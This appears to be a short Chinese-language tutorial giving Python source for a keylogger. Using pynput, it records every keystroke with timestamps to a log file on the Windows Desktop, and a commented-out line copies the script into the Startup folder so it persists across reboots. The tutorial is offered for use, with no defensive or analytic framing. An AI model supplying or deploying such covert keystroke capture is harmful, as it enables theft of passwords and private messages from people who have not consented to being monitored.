准备

需要了解一下python的logging模块：这位大佬写得很好（传送门）
安装pynput,终端输入

pip install pynput

代码

from pynput.keyboard import Listener
import os
import logging
from shutil import copyfile

username = os.getlogin()
logging_directory = f"c:/Users/{username}/Desktop"

logging.basicConfig(filename=f"{logging_directory}/mylog.txt",level = logging.DEBUG,format = "%(asctime)s:%(message)s")

#加入开机自启动
#copyfile('main.py',f'C:/Users/{username}/AppData/Roaming/Microsoft/Start Menu/Starup/main.py')

def key_handler(key):
    logging.info(key)

with Listener(on_press = key_handler) as listener:
    listener.join()